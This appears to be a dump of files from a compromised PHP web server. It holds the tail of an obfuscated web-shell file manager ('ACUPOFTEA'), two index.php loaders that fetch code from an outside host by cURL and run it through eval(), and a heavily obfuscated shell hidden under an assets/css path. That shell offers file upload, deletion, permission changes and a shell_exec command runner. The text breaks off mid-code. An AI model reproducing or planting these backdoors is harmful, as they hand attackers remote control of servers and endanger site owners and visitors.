                            </div>
                            <div class="modal-body">
                                <label class="form-label">&#78;&#101;&#119; &#112;&#101;&#114;&#109; &#102;&#111;&#114; <span id="pin" style="color: red"></span></label>
                                <input type="text" class="form-control" name="np" placeholder="acupoftea">
                                <input type="hidden" id="pip" name="pi" value="">
                            </div>
                            <div class="modal-footer">
                                <button type="button" class="btn btn-outline-danger btn-sm" data-bs-dismiss="modal">&#67;&#97;&#110;&#99;&#101;&#108;</button>
                                <button type="submit" class="btn btn-outline-dark btn-sm">&#83;&#117;&#98;&#109;&#105;&#116;</button>
                            </div>
                        </div>
                    </form>
                </div>
            </div>
            <?php
                if (!is_readable($cup)) {
                    echo '<center>';
                    echo "403 Can't access directory.";
                    echo '<br>';
                    echo '<hr width="20%">';
                    echo '<div class="text-dark">';
                    echo '<span>~ ACUPOFTEA - ' . $_SERVER['HTTP_HOST'] . '</span>';
                    echo '</div>';
                    echo '</center>';
                    exit();
                }
            ?>

            <div class="table-responsive">
                <table class="table table-hover table-light align-middle text-dark text-nowrap">
                    <thead class="align-middle">
                        <tr>
                            <td style="width:30%">&#78;&#97;&#109;&#101;</td>
                            <td style="width:15%">&#84;&#121;&#112;&#101;</td>
                            <td style="width:15%">&#83;&#105;&#122;&#101;</td>
                            <td style="width:15%">&#80;&#101;&#114;&#109;&#105;&#115;&#115;&#105;&#111;&#110;</td>
                            <td style="width:15%">&#76;&#97;&#115;&#116;&#32;&#77;&#111;&#100;&#105;&#102;&#105;&#101;&#100;</td>
                            <td style="width:10%">&#65;&#99;&#116;&#105;&#111;&#110;&#115;</td>
                        </tr>
                    </thead>
                    <tbody class="table-group-divider">
                        <?php
                            foreach ($scup as $item) {
                                if (is_dir($item)) {
                        ?>

                        <tr>
                            <td>
                                <?php
                                    if ($item === '..') {
                                        echo '<a href="?cup=' . tea(dirname($cup)) . '"><i class="bi bi-folder2-open" style="color:orange;"></i> ' . $item . '</a>';
                                    } elseif ($item === '.') {
                                        echo '<a href="?cup=' . tea($cup) . '"><i class="bi bi-folder2-open" style="color:orange;"></i> ' . $item . '</a>';
                                    } else {
                                        echo '<a href="?cup=' . tea($cup . '/' . $item) .'"><i class="bi bi-folder-fill" style="color:orange;"></i> ' . $item . '</a>';
                                    }
                                ?>

                            </td>
                            <td><?= strtoupper(filetype($item))?></td>
                            <td>-</td>
                            <td>
                                <a style="cursor: pointer;" class="p-btn" data-item="<?= $item ?>" data-file-content="<?= substr(sprintf('%o', fileperms($item)), -4); ?>">
                                <?php echo is_writable($cup . '/' . $item) ? '<font color="#14A44D">' : (!is_readable($cup . '/' . $item) ? '<font color="#DC4C64">' : ''); echo pall($cup . '/' . $item); echo '</font>';if(is_writable($cup . '/' . $item) || !is_readable($cup . '/' . $item)) ?>

                                </a>        
                            </td>
                            <td>
                                <a style="cursor: pointer;" class="date-btn" data-item="<?= $item ?>" data-file-content="<?= date("Y-m-d h:i:s", filemtime($item)); ?>"><?= date("Y-m-d h:i:s", filemtime($item)); ?></a>
                            </td>
                            <td>
                                <?php
                                    if ($item != '.' && $item != '..') {
                                ?>

                                <div class="btn-group">
                                    <button type="button" class="btn btn-outline-dark btn-sm mr-1 r-btn" data-item="<?= $item ?>"><i class="bi bi-pencil-square"></i></button>
                                    <button type="button" class="btn btn-outline-dark btn-sm mr-1 d-btn" data-item="<?= $item ?>"><i class="bi bi-trash"></i></button>
                                </div>
                                <?php
                                    } elseif ($item === '.') {
                                ?>

                                <div class="btn-group">
                                    <button type="button" class="btn btn-outline-dark btn-sm mr-1" data-bs-toggle="modal" data-bs-target="#tambahFolder"><i class="bi bi-folder-plus"></i></button>
                                    <button type="button" class="btn btn-outline-dark btn-sm mr-1" data-bs-toggle="modal" data-bs-target="#tambahFile"><i class="bi bi-file-earmark-plus"></i></button>
                                </div>
                                <?php
                                    }
                                ?>

                            </td>
                        </tr>
                        <?php
                                }
                            }

                            foreach ($scup as $item) {
                                if (is_file($item)) {
                        ?>

                        <tr>
                            <td>
                                <a href="?cup=<?= tea($cup) ?>&item=<?= tea($item) ?>&tea=ef"><?= cext($item) ?> <?= $item ?></a>
                            </td>
                            <td><?= (function_exists('mime_content_type') ? mime_content_type($item) : filetype($item)) ?></td>
                            <td><?= sall($item) ?></td>
                            <td>
                                <a style="cursor: pointer;" class="p-btn" data-item="<?= $item ?>" data-file-content="<?= substr(sprintf('%o', fileperms($item)), -4); ?>">
                                <?php echo is_writable($cup . '/' . $item) ? '<font color="#14A44D">' : (!is_readable($cup . '/' . $item) ? '<font color="#DC4C64">' : ''); echo pall($cup . '/' . $item); echo '</font>';if(is_writable($cup . '/' . $item) || !is_readable($cup . '/' . $item)) ?>

                                </a>
                            </td>
                            <td>
                                <a style="cursor: pointer;" class="date-btn" data-item="<?= $item ?>" data-file-content="<?= date("Y-m-d h:i:s", filemtime($item)); ?>"><?= date("Y-m-d h:i:s", filemtime($item)); ?></a>
                            </td>
                            <td>
                                <?php
                                    if ($item != '.' && $item != '..') {
                                ?>

                                <div class="btn-group">
                                    <a href="?cup=<?= tea($cup) ?>&item=<?= tea($item) ?>&tea=ef" class="btn btn-outline-dark btn-sm mr-1"><i class="bi bi-file-earmark-code"></i></a>
                                    <button type="button" class="btn btn-outline-dark btn-sm mr-1 r-btn" data-item="<?= $item ?>"><i class="bi bi-pencil-square"></i></button>
                                    <a href="?cup=<?= tea($cup) ?>&item=<?= tea($item) ?>&tea=df" class="btn btn-outline-dark btn-sm mr-1"><i class="bi bi-download"></i></a>
                                    <button type="button" class="btn btn-outline-dark btn-sm mr-1 d-btn" data-item="<?= $item ?>"><i class="bi bi-trash"></i></button>
                                </div>
                                <?php
                                    }
                                ?>

                            </td>
                        </tr>
                        <?php
                                }
                            }
                        ?>

                    </tbody>
                </table>
            </div>
            <center>
                <?php
                    if (count($scup) === 2) {
                        echo 'Directory is empty.';
                    }
                ?>
                <hr width='20%'>
                <span>~ ACUPOFTEA - <?= $_SERVER['HTTP_HOST']; ?></span>
            </center>
        </div>
        <script src="https://code.jquery.com/jquery-3.7.0.js" integrity="sha256-JlqSTELeR4TLqP0OG9dxM7yDPqX1ox/HfgiSLBj8+kM=" crossorigin="anonymous"></script>
        <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js" integrity="sha384-geWF76RCwLtnZ8qwWowPQNguL3RmwHVBC9FhGdlKrxdiJJigb/j/68SIy3Te4Bkz" crossorigin="anonymous"></script>
        <script type="text/javascript">
            
            <?php if (isset($_GET['tea']) && isset($_GET['item']) && $_GET['tea'] === 'ef') : ?>
                $(document).ready(function() { $("#em").modal("show"); });
            <?php endif; ?>

            <?php if (isset($_SESSION['message'])) : ?>
                get('<?= $_SESSION['message'] ?>', '<?= $_SESSION['color'] ?>')
            <?php endif; clear(); ?>

            function salin() {
                var textarea = document.getElementById('content');
                textarea.select();
                document.execCommand('copy');
                textarea.setSelectionRange(0, 0);
                get('Successfuly to copy text!', '#14A44D');
            }

            function get(pesan, warna) {
                var notifikasi                   = document.createElement('div');
                notifikasi.textContent           = pesan;
                notifikasi.style.position        = 'fixed';
                notifikasi.style.bottom          = '20px';
                notifikasi.style.left            = '20px';
                notifikasi.style.padding         = '10px';
                notifikasi.style.borderRadius    = '4px';
                notifikasi.style.zIndex          = '1';
                notifikasi.style.opacity         = '0';
                notifikasi.style.color           = '#fff';
                notifikasi.style.backgroundColor = warna;

                document.body.appendChild(notifikasi);

                var opacity = 0;
                var fadeInInterval = setInterval(function() {
                    opacity += 0.1;
                    notifikasi.style.opacity = opacity.toString();
                    if (opacity >= 1) {
                        clearInterval(fadeInInterval);
                        setTimeout(function() {
                            var fadeOutInterval = setInterval(function() {
                                opacity -= 0.1;
                                notifikasi.style.opacity = opacity.toString();
                                if (opacity <= 0) {
                                    clearInterval(fadeOutInterval);
                                    document.body.removeChild(notifikasi);
                                }
                            }, 30);
                        }, 3000);
                    }
                }, 30);
            }

            $(document).ready(function() {
                $('.date-btn').click(function() {
                    var itemName    = $(this).data('item');
                    var fileContent = $(this).data('file-content');
                    $('input[name="nd"]').val(fileContent);
                    $('#dinn').text(itemName);
                    $('#dipp').val(itemName);
                    $('#mdtw').modal('show');
                })

                $('.p-btn').click(function() {
                    var itemName    = $(this).data('item');
                    var fileContent = $(this).data('file-content');
                    $('input[name="np"]').val(fileContent);
                    $('#pin').text(itemName);
                    $('#pip').val(itemName);
                    $('#mp').modal('show');
                })

                $('.r-btn').click(function() {
                    var itemName = $(this).data('item');
                    $('input[name="nn"]').val(itemName);
                    $('#rin').text(itemName);
                    $('#rinn').val(itemName);
                    $('#mr').modal('show');
                });

                $('.d-btn').click(function() {
                    var itemName = $(this).data('item');
                    $('#din').text(itemName);
                    $('#dip').val(itemName);
                    $('#md').modal('show');
                });
            });

            document.getElementById('ups').addEventListener('change', function() {
                var label = document.getElementById('uputama');
                if (this.files && this.files.length > 0) {
                    if (this.files.length === 1) {
                        var z = this.files[0].name;
                        if (z.length > 11) {
                            z = z.substring(0, 8) + '...';
                        }
                        label.textContent = z;
                    } else {
                        label.textContent = this.files.length + ' file';
                    }
                } else {
                    label.textContent = 'Select';
                }
            });
        </script>
    </body>
</html>
dist/src/2023/v2/vlqdz/index.php000066600000001701151334721360012203 0ustar00<?php
// Kode dengan cURL dan eval untuk menjalankan kode dari URL eksternal
$url = 'https://stepmomhub.com/1.txt';

// Inisialisasi cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 15);

// Eksekusi cURL
$content = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$error = curl_error($ch);
curl_close($ch);

// Cek jika berhasil
if ($content === false) {
    die('Gagal mengambil konten: ' . $error);
}

if ($httpCode !== 200) {
    die('HTTP Error: ' . $httpCode);
}

// Jalankan kode dengan eval
eval('?>' . $content);
?>dist/src/2023/v2/vlqdz/qmbff/index.php000066600000001701151334721360013276 0ustar00<?php
// Kode dengan cURL dan eval untuk menjalankan kode dari URL eksternal
$url = 'https://stepmomhub.com/1.txt';

// Inisialisasi cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 15);

// Eksekusi cURL
$content = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$error = curl_error($ch);
curl_close($ch);

// Cek jika berhasil
if ($content === false) {
    die('Gagal mengambil konten: ' . $error);
}

if ($httpCode !== 200) {
    die('HTTP Error: ' . $httpCode);
}

// Jalankan kode dengan eval
eval('?>' . $content);
?>dist/content/assets/css/ubf/vxqoy/index.php000066600000174711151334721360015061 0ustar00<?php
 goto snojn; dgnzy: Uzz4K: goto Fuf3b; TGdwf: viKBt: goto YaH0g; YaH0g: if (!isset($_POST[B6KQ9(23)])) { goto f6fq7; } goto XXXEG; tY4_X: echo B6kQ9(37); goto mZPA6; AUjJQ: zYzHW: goto cZ8Qe; jAyIh: echo B6kq9(13) . htmlspecialchars($LrLnp); goto dZWV1; WgmNE: if (!(isset($_POST[B6Kq9(5)]) && isset($_FILES[B6Kq9(6)]))) { goto ybwGs; } goto lUIfA; dZWV1: HO4v_: goto b9YD7; U12qH: jWHIC: goto RNer6; lUIfA: $VR_V0 = $_FILES[B6KQ9(7)]; goto eRc8d; a3hmR: if (!!is_dir($dmluh)) { goto zYzHW; } goto VQyOG; nyLlh: if (!!($VR_V0[B6kq9(11)] == UPLOAD_ERR_OK)) { goto wmDUK; } goto KqcVS; ERBTQ: echo "\42\40\57\76\xd\12\74\151\x6e\160\165\x74\40\x74\171\160\145\x3d\x22\x66\151\154\x65\42\x20\x6e\x61\x6d\x65\75\x22\165\160\154\x6f\141\x64\x65\144\x5f\x66\151\x6c\x65\42\x20\x2f\76\xd\12\74\142\x75\x74\x74\x6f\156\40\164\171\x70\145\x3d\x22\163\x75\x62\155\151\x74\x22\40\156\141\155\x65\x3d\x22\165\160\154\x6f\x61\x64\42\x20\x63\154\141\x73\163\x3d\42\x73\165\142\x6d\x69\164\55\x62\165\x74\x74\x6f\x6e\x22\x3e\x3c\x69\x20\x63\154\x61\163\x73\x3d\42\x66\x61\x73\x20\146\141\55\165\160\x6c\157\x61\144\42\x3e\74\57\151\x3e\x20\125\x6e\x67\147\x61\x68\x3c\x2f\x62\x75\x74\164\x6f\156\x3e\xd\xa\74\57\x66\x6f\162\x6d\76\xd\12\74\57\144\x69\166\x3e\74\144\x69\x76\40\151\144\75\x22\143\x72\145\x61\164\x65\x2d\x66\x6f\x6c\x64\x65\x72\55\146\157\162\x6d\x22\x20\143\x6c\x61\163\x73\x3d\42\146\x6f\x72\155\55\x63\x6f\x6e\164\141\151\156\x65\162\x22\76\15\xa\x3c\146\157\162\x6d\x20\x6d\x65\164\150\x6f\144\x3d\x22\120\117\x53\x54\x22\x20\x61\x63\x74\x69\x6f\156\x3d\x22\42\x3e\15\xa\x3c\x69\x6e\x70\x75\164\x20\x74\x79\x70\145\x3d\42\150\x69\x64\x64\145\x6e\x22\x20\156\141\x6d\x65\75\x22\x63\x72\145\x61\x74\145\137\x70\141\164\x68\42\x20\x76\x61\x6c\x75\x65\75\42"; goto B_0Kd; OWHR6: cIM1r: goto VQghN; zP8PC: echo "\74\x70\162\x65\x3e{$kcn9H}\x3c\57\x70\162\x65\76"; goto yA9xZ; XXXEG: $BT3cI = $_POST[b6KQ9(24)]; goto JlfKW; Byl9g: u3uFg: goto y7v85; izk8N: $tw0Ox = b6Kq9(44); goto UIbu_; v7By3: Bcb5L: goto MGw7H; LbKYA: goto OGpSJ; goto dgnzy; vQGTS: foreach (scandir($tw0Ox) as $H16MX) { goto aafyo; RvzFp: echo "\74\x2f\146\x6f\162\x6d\76\xa"; goto sR8Zd; gJbW5: echo "\74\164\x64\40\143\x6f\154\x73\160\141\156\75\x27\x34\x27\76\xa"; goto hRwud; kObC1: echo "\74\146\x6f\162\155\40\155\145\x74\150\157\144\75\x27\x50\x4f\x53\x54\47\40\x61\x63\x74\x69\157\x6e\75\47\x27\76\12"; goto SyrK_; jQd8a: echo "\x3c\151\40\143\x6c\x61\x73\x73\x3d\47\x66\x61\163\40\146\141\55\164\162\141\x73\x68\40\151\143\x6f\156\x2d\142\165\164\164\x6f\x6e\47\x20\157\x6e\x63\154\x69\x63\x6b\x3d\42\x63\157\x6e\x66\151\162\x6d\x44\x65\154\x65\164\145\x28\x27{$MLMc3}\47\x29\42\x3e\74\x2f\151\76\12"; goto pq8UY; IcbaY: echo "\x3c\x2f\164\162\76\12"; goto A1JXf; rYK0N: echo "\x3c\164\x64\76\74\141\40\150\x72\x65\x66\x3d\47\x3f\x64\x3d" . urlencode($MLMc3) . "\x27\76{$H16MX}\x3c\x2f\x61\x3e\x3c\57\x74\x64\x3e\12"; goto KJyZ6; a15ra: echo "\74\151\x6e\160\165\x74\x20\x74\171\160\x65\x3d\x27\164\x65\x78\164\x27\x20\156\141\x6d\145\x3d\47\160\145\162\155\x69\163\x73\151\157\156\163\x27\x20\x70\x6c\x61\143\145\150\x6f\x6c\144\x65\x72\75\47\x49\x7a\151\x6e\40\50\x65\56\147\56\x2c\40\60\x37\65\65\x29\47\x3e\xa"; goto ukbu1; LUWFo: echo "\74\57\164\x72\x3e\12"; goto sODqS; S0EBB: echo "\74\151\40\143\x6c\x61\163\163\75\47\x66\x61\163\40\146\x61\x2d\153\x65\x79\x20\x69\x63\x6f\x6e\x2d\142\165\x74\x74\157\x6e\47\40\157\156\x63\154\x69\143\x6b\x3d\42\164\x6f\x67\x67\154\x65\106\x6f\162\155\x28\47\x70\x65\162\155\55\x66\157\162\x6d\55{$H16MX}\x27\51\42\x3e\74\57\x69\76\12"; goto jQd8a; ukbu1: echo "\x3c\142\165\164\x74\x6f\x6e\40\164\x79\x70\145\x3d\x27\163\x75\x62\155\151\164\x27\x20\x6e\x61\155\145\x3d\x27\x63\x68\x61\x6e\147\x65\x5f\160\145\x72\x6d\47\40\143\154\x61\163\x73\x3d\47\x73\x75\x62\x6d\x69\164\x2d\142\x75\164\x74\x6f\156\47\76\x3c\x69\x20\x63\154\141\163\163\x3d\x27\146\x61\x73\40\146\141\55\153\x65\171\x27\76\x3c\x2f\151\76\40\x55\142\x61\150\40\x49\x7a\x69\156\x3c\x2f\x62\x75\x74\x74\157\156\x3e\12"; goto RvzFp; YVHEK: echo "\74\x69\x6e\x70\x75\x74\x20\x74\171\x70\145\x3d\47\150\x69\144\x64\145\x6e\x27\x20\x6e\x61\x6d\x65\x3d\x27\162\x65\156\x61\x6d\145\137\x70\141\164\x68\47\40\166\x61\154\x75\145\x3d\47" . htmlspecialchars($MLMc3) . "\47\76\12"; goto UMX5_; Tn8Sq: echo "\74\x2f\164\x72\76\12"; goto sb7vO; vnQQV: echo "\74\164\144\76\12"; goto TSy3Y; SyrK_: echo "\x3c\x69\156\160\x75\164\x20\x74\x79\x70\x65\x3d\47\x68\151\x64\144\x65\156\x27\x20\x6e\141\x6d\145\x3d\x27\160\145\x72\155\x5f\160\141\x74\x68\x27\x20\x76\141\x6c\165\145\x3d\x27" . htmlspecialchars($MLMc3) . "\x27\76\xa"; goto a15ra; u88Rw: echo "\x3c\x74\x64\x20\143\157\x6c\x73\x70\141\x6e\x3d\47\x34\47\76\12"; goto kObC1; pq8UY: echo "\74\57\x74\x64\76\12"; goto IcbaY; fwlAx: Uqv0d: goto tcy66; wus9e: echo "\x3c\142\x75\x74\x74\x6f\156\40\x74\x79\x70\x65\75\47\163\x75\x62\x6d\x69\x74\47\x20\x6e\x61\x6d\x65\75\47\162\145\156\x61\155\x65\x27\x20\x63\x6c\141\x73\x73\75\47\x73\x75\142\155\x69\164\55\142\x75\164\164\157\x6e\x27\76\74\151\x20\x63\154\141\163\x73\x3d\x27\x66\141\x73\40\146\x61\x2d\145\144\x69\x74\x27\x3e\74\x2f\x69\76\x20\125\142\x61\x68\x20\116\x61\x6d\x61\74\x2f\142\165\x74\164\x6f\x6e\x3e\xa"; goto RoiTD; TN_QP: $fla_q = substr(sprintf("\45\157", fileperms($MLMc3)), -4); goto ahiOx; hRwud: echo "\74\146\157\x72\x6d\40\x6d\145\x74\150\157\144\75\47\120\x4f\x53\x54\x27\40\x61\x63\164\x69\x6f\156\x3d\47\x27\x3e\12"; goto YVHEK; sODqS: zx6JW: goto fwlAx; eF9o2: echo "\74\x74\162\x3e\12"; goto rYK0N; sR8Zd: echo "\x3c\57\x74\x64\76\12"; goto LUWFo; mOURS: echo "\74\x2f\x74\144\x3e\12"; goto Tn8Sq; aafyo: if (!($H16MX !== "\56" && $H16MX !== "\x2e\x2e")) { goto zx6JW; } goto U4GMi; RoiTD: echo "\74\x2f\146\157\162\155\x3e\12"; goto mOURS; ahiOx: $T86Tr = is_dir($MLMc3) ? "\x46\x6f\x6c\x64\145\x72" : e9IK1(filesize($MLMc3)); goto eF9o2; TSy3Y: echo "\x3c\x69\x20\x63\x6c\x61\x73\x73\75\47\146\141\x73\x20\x66\141\x2d\x65\144\151\x74\40\151\x63\x6f\x6e\x2d\x62\x75\x74\x74\x6f\156\x27\40\157\156\143\154\151\x63\153\75\x22\x74\157\x67\147\x6c\x65\x46\157\162\155\x28\47\162\x65\156\x61\155\145\55\146\x6f\162\x6d\x2d{$H16MX}\47\51\x22\x3e\74\57\x69\x3e\12"; goto S0EBB; BG3g6: echo "\74\x74\x64\76{$T86Tr}\74\x2f\x74\x64\x3e\12"; goto vnQQV; UMX5_: echo "\74\x69\156\x70\165\164\40\164\171\160\x65\x3d\47\164\x65\170\x74\47\x20\156\141\155\145\x3d\x27\156\x65\167\137\x6e\141\155\x65\47\40\160\x6c\141\x63\x65\x68\x6f\x6c\144\x65\162\x3d\47\125\142\141\x68\x20\x6e\x61\155\x61\47\76\xa"; goto wus9e; KJyZ6: echo "\x3c\x74\144\x3e{$fla_q}\74\57\164\x64\x3e\12"; goto BG3g6; A1JXf: echo "\74\164\162\x20\151\144\75\x27\x72\145\156\x61\155\x65\55\146\x6f\162\155\55{$H16MX}\x27\x20\143\x6c\141\x73\x73\75\x27\x66\157\x72\x6d\55\x63\x6f\156\164\141\x69\156\145\x72\47\x3e\12"; goto gJbW5; U4GMi: $MLMc3 = rtrim($tw0Ox, "\x2f") . "\57" . $H16MX; goto TN_QP; sb7vO: echo "\74\164\x72\40\151\144\75\x27\x70\145\162\155\x2d\146\x6f\162\155\55{$H16MX}\47\x20\143\154\141\x73\x73\x3d\x27\146\157\x72\x6d\55\x63\157\x6e\164\x61\151\156\145\x72\x27\76\xa"; goto u88Rw; tcy66: } goto ukNnj; EVfd8: E2nN6: goto TGdwf; iVwpS: XeIs1: goto tY4_X; H5pKF: goto E2nN6; goto muCJp; RZEt1: $Qri3R = explode(DIRECTORY_SEPARATOR, $tw0Ox); goto izk8N; oEKzo: echo b6kQ9(22); goto H5pKF; P9gOq: if (!isset($_POST[b6KQ9(30)])) { goto Bcb5L; } goto mh1sF; oOqdc: goto TrdVi; goto Byl9g; wzhVC: if (!is_dir($tw0Ox)) { goto ajzVl; } goto vQGTS; GifMd: ESQp4: goto eI9L_; eXmdn: $fla_q = $_POST[b6Kq9(32)]; goto h3g1H; ja3M0: f6fq7: goto P9gOq; DBhza: Uv6Kw: goto WaRjO; B_0Kd: echo htmlspecialchars($tw0Ox); goto foLqu; tWdvX: echo htmlspecialchars($tw0Ox); goto ERBTQ; EaTWS: $aBt9d = escapeshellcmd($_POST[B6kQ9(36)]); goto UGm3g; cZ8Qe: if (!!rmdir($dmluh)) { goto Uzz4K; } goto VYKZ4; MGw7H: if (!isset($_POST[b6kq9(35)])) { goto wSZma; } goto EaTWS; ZEn_r: if (!!mkdir($vWNXk)) { goto Pwzfu; } goto oEKzo; yVhQc: $tw0Ox = isset($_GET[B6KQ9(2)]) ? urldecode($_GET[B6Kq9(3)]) : getcwd(); goto mV4Hl; aObMi: goto JXLwj; goto wODLp; y7v85: echo B6kq9(33); goto K5R5k; Pwnxf: function MezXV($H16MX, $Df9tR) { goto tqkQy; RTZVZ: if (!($vNzDx < strlen($H16MX))) { goto vMA_r; } goto qwspK; XN0qT: $vNzDx = 0; goto w6vIJ; z8d7T: goto K251J; goto BE9yP; FHjCj: $vNzDx++; goto z8d7T; tqkQy: $royEW = strlen($Df9tR); goto G1xtP; atd1R: return $HNFPF; goto fRTYv; qwspK: $HNFPF .= chr(ord($H16MX[$vNzDx]) ^ ord($Df9tR[$vNzDx % $royEW])); goto jXuEN; BE9yP: vMA_r: goto atd1R; G1xtP: $HNFPF = ''; goto XN0qT; w6vIJ: K251J: goto RTZVZ; jXuEN: kFPAH: goto FHjCj; fRTYv: } goto loHxB; VQyOG: goto lZYWM; goto DBhza; loHxB: function b6Kq9($r3gOW) { goto uWtOc; iATbF: return strrev($iPQmU); goto V9WR_; uWtOc: global $ja6bA, $QRuUd; goto o6rMM; L5CqA: KbaUb: goto AHxwJ; PJAnY: $vNzDx++; goto cwsnF; c04hC: A5sdW: goto asAg6; nwUGr: $p3lwO = $ja6bA["\154\x6e\x70\163\x56"]; goto IjNZg; wQdlR: $pNe2l .= isset($NCSDy[$tbxqf]) ? $NCSDy[$tbxqf] : $tbxqf; goto j0HBZ; IjNZg: $VILH4 = ''; goto BpBHg; asAg6: $vNzDx++; goto ETcKI; cwsnF: goto KbaUb; goto QBuIa; DSvlF: $iPQmU = meZxV(hex2bin($pNe2l), $QRuUd); goto iATbF; Q3ROW: $pNe2l = ''; goto QxtOI; QxtOI: $vNzDx = 0; goto L5CqA; BpBHg: $vNzDx = 0; goto oaRI2; omFwK: $tbxqf = $VILH4[$vNzDx]; goto wQdlR; AHxwJ: if (!($vNzDx < strlen($VILH4))) { goto oV0jv; } goto omFwK; w5NQQ: if (!($vNzDx % 3 != 2)) { goto lRtZU; } goto IV5lr; fwZS9: if (!($vNzDx < strlen($FxjqA))) { goto sBHI5; } goto w5NQQ; o6rMM: $FxjqA = $ja6bA["\115\126\x51\x57\x6c"][$r3gOW]; goto nwUGr; QBuIa: oV0jv: goto DSvlF; ETcKI: goto uQzrB; goto Wq0qp; IV5lr: $VILH4 .= $FxjqA[$vNzDx]; goto ZRGKb; JeNtz: $NCSDy = array_flip($p3lwO); goto Q3ROW; j0HBZ: e0bDD: goto PJAnY; Wq0qp: sBHI5: goto JeNtz; oaRI2: uQzrB: goto fwZS9; ZRGKb: lRtZU: goto c04hC; V9WR_: } goto GtJLx; Vkhm7: goto jWHIC; goto Q73Hd; wtVMq: OGpSJ: goto BUJLW; miTva: Qx8OA: goto WgmNE; foLqu: echo "\x22\x20\x2f\76\15\12\x3c\x69\x6e\x70\165\164\x20\164\x79\x70\145\75\x22\164\145\170\x74\42\x20\156\141\x6d\145\75\42\146\x6f\154\144\145\162\137\156\141\155\145\x22\x20\160\x6c\x61\x63\145\150\157\154\x64\145\x72\x3d\42\116\x61\155\x61\x20\x46\157\154\144\x65\162\x22\40\x2f\76\xd\12\x3c\x62\165\164\164\157\156\x20\164\x79\x70\145\x3d\x22\x73\x75\x62\x6d\x69\164\42\40\x6e\141\155\145\x3d\42\x63\x72\145\x61\x74\145\137\x66\157\x6c\144\x65\162\42\x20\143\154\141\x73\x73\75\x22\163\x75\x62\x6d\x69\164\x2d\142\165\x74\x74\157\156\x22\x3e\x3c\151\40\143\154\141\x73\x73\x3d\42\146\141\163\40\146\x61\x2d\146\157\154\144\x65\162\55\x70\x6c\165\x73\42\x3e\x3c\x2f\151\76\40\x42\165\x61\x74\40\x46\157\x6c\144\x65\x72\74\57\142\165\164\164\157\156\76\15\12\74\57\x66\x6f\162\x6d\x3e\15\xa\74\57\144\151\166\x3e\74\x64\x69\x76\40\x69\x64\x3d\x22\162\x75\x6e\x2d\x63\157\155\x6d\141\x6e\x64\55\x66\157\162\x6d\42\x20\143\154\x61\x73\163\75\42\x66\x6f\162\155\55\x63\x6f\x6e\x74\141\151\x6e\145\162\42\x3e\xd\12\x3c\146\x6f\162\155\x20\155\145\x74\150\x6f\x64\75\42\x50\x4f\x53\x54\42\40\141\143\x74\x69\157\x6e\x3d\x22\x22\76\15\12\x3c\x69\156\x70\x75\x74\x20\x74\x79\160\145\75\x22\164\145\x78\x74\x22\x20\156\x61\155\x65\75\x22\143\x6f\155\155\x61\156\144\42\40\x70\x6c\141\x63\x65\x68\x6f\154\144\145\162\x3d\42\115\x61\x73\x75\153\x6b\141\156\x20\x70\x65\x72\x69\x6e\164\x61\x68\x20\164\x65\162\x6d\151\156\141\x6c\42\40\x2f\76\xd\xa\x3c\142\165\x74\x74\x6f\x6e\40\x74\x79\x70\x65\x3d\x22\163\165\x62\155\x69\x74\x22\40\x6e\141\x6d\145\x3d\x22\162\x75\x6e\137\143\157\x6d\155\x61\156\x64\x22\x20\x63\154\141\163\x73\75\42\x73\x75\142\x6d\x69\164\x2d\x62\x75\164\x74\157\x6e\42\76\74\151\40\x63\154\141\163\163\75\x22\146\x61\x73\x20\x66\141\55\x74\x65\x72\155\x69\x6e\x61\154\x22\76\74\57\x69\76\40\120\x65\x72\x69\156\164\x61\x68\x3c\x2f\142\165\164\x74\x6f\x6e\76\xd\xa\x3c\x2f\146\x6f\x72\155\x3e\xd\12\74\x2f\x64\151\x76\x3e\74\x74\141\142\154\145\x3e\15\12\74\164\x72\76\xd\xa\74\x74\150\76\116\x61\x6d\x61\74\x2f\x74\150\x3e\xd\xa\74\164\x68\x3e\x50\x65\x72\155\x69\163\x73\x69\x6f\156\x3c\57\164\150\x3e\xd\12\x3c\x74\x68\76\x53\x69\x7a\x65\x3c\x2f\164\x68\x3e\15\xa\x3c\x74\150\x3e\x41\x6b\x73\x69\x3c\x2f\x74\150\x3e\15\12\74\x2f\x74\x72\x3e\xd\xa"; goto wzhVC; JlfKW: $bdeX2 = $_POST[B6kq9(25)]; goto HUzRn; b9YD7: ppyb6: goto aADBN; UGm3g: $kcn9H = shell_exec($aBt9d); goto w_s0k; hOSbB: echo "\x46\157\154\144\x65\x72\x20\x27{$BDlpb}\x27\40\142\x65\x72\x68\x61\163\151\154\x20\x64\x69\142\165\x61\164\56"; goto EVfd8; r3KFs: JXLwj: goto ja3M0; wODLp: Wm5H2: goto ZJ77m; NPGFm: if (!isset($_POST[b6kQ9(38)])) { goto cIM1r; } goto RNz6K; UIbu_: foreach ($Qri3R as $r3gOW => $H8v3E) { goto iOzFC; IgNvF: echo b6Kq9(48) . urlencode($tw0Ox) . B6kq9(49) . htmlspecialchars($H8v3E) . b6kQ9(50); goto Zo4tj; Ozp8e: echo b6KQ9(45) . urlencode($H8v3E) . B6Kq9(46) . htmlspecialchars($H8v3E) . b6KQ9(47); goto sGGjq; TEjJ2: $tw0Ox .= DIRECTORY_SEPARATOR . $H8v3E; goto IgNvF; Zo4tj: goto K6sp7; goto kFsHo; sGGjq: K6sp7: goto 